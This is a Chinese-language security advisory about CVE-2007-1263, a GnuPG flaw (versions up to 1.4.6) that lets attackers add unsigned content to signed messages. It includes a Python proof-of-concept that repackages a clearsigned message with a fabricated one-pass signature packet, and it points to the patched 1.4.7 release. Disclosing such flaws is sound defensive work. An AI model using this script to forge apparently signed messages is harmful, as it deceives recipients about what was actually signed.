安全研究

安全漏洞
GnuPG签名消息任意内容注入漏洞

发布日期:2007-03-05
更新日期:2007-03-06

受影响系统:
GNU GNU Privacy Guard <= 1.4.6
不受影响系统:
GNU GNU Privacy Guard 1.4.7
描述:
BUGTRAQ  ID: 22757
CVE(CAN) ID: CVE-2007-1263

GnuPG是基于OpenPGP标准的PGP加密、解密、签名工具。

使用GnuPG的脚本和应用程序向终端用户显示签名验证信息的方式存在漏洞,允许攻击者向签名消息中添加任意内容,消息的接收者无法区分消息中的伪造和正确签名部分。

漏洞起因是有效的OpenPGP消息包含有多个部分,其中每个部分都可以认为是一段消息,但有些消息可能没有被签名和/或加密。有漏洞的第三方应用程序没有使用适当的GnuPG API判断消息边界,没有在给终端用户的输出中明确的区分消息。在某些情况下,即使从命令行直接使用GnuPG的高级用户也可能被这种攻击欺骗。

请注意该漏洞不是加密问题,而是向用户显示信息方式和第三方应用程序与GnuPG之间相互交互方式的问题。

<*来源:Gerardo Richarte
  
  链接:http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1687
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))

建议:
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp://ftp.gnupg.org/gcrypt/gnupg/gnupg-1.4.7.tar.bz2

浏览次数:2815
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障